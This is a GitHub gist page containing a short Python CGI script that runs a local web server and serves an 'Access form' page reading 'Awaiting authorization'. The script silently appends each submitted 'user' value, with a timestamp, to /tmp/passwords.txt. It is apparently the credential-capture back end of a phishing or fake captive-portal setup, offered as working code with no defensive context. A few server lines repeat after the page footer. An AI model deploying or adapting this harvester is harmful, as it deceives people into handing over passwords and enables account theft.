Created
July 30, 2014 17:35
-
-
Save Demontager/e96b6d84ef13e9de3da9 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import cgi | |
import time | |
import http.server | |
from os import getuid, devnull | |
from subprocess import call, check_output | |
from sys import argv, stdout, stdin | |
from re import findall | |
port = 8080 | |
addrport = ('', port) | |
DN = open(devnull, 'w') | |
form = cgi.FieldStorage() | |
try: | |
if not findall(str(port), str(check_output(['netstat','-ntl'],stderr=DN))): | |
serv = http.server.HTTPServer( | |
addrport, | |
http.server.CGIHTTPRequestHandler | |
) | |
serv.serve_forever() | |
else: | |
print('Content-type: text/html') | |
print() | |
title = 'Access form' | |
before = """ | |
<html> | |
<head> | |
<meta http-equiv='Content-Type' content='text/html; charset=utf-8'> | |
<title>{}</title> | |
</head> | |
<body> | |
""".format(title) | |
after = """ | |
</body> | |
</html> | |
""" | |
namefmt = '<h1>Awaiting authorization <i>....</i></h1>' | |
noname = '<h1>No Data received</h1>' | |
print(before, end='') | |
if 'user' in form: | |
user = cgi.escape(form['user'].value) | |
today = time.strftime('%d%B %H:%M:%S') | |
with open('/tmp/passwords.txt', 'a') as f: | |
print(today+"\n"+user+"\n",file=f) | |
print(namefmt) | |
else: | |
print(noname) | |
print(after, end='') | |
except KeyboardInterrupt: | |
print ('Shutting down the web server') | |
serv.socket.close() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
addrport,
http.server.CGIHTTPRequestHandler
)
serv.serve_forever()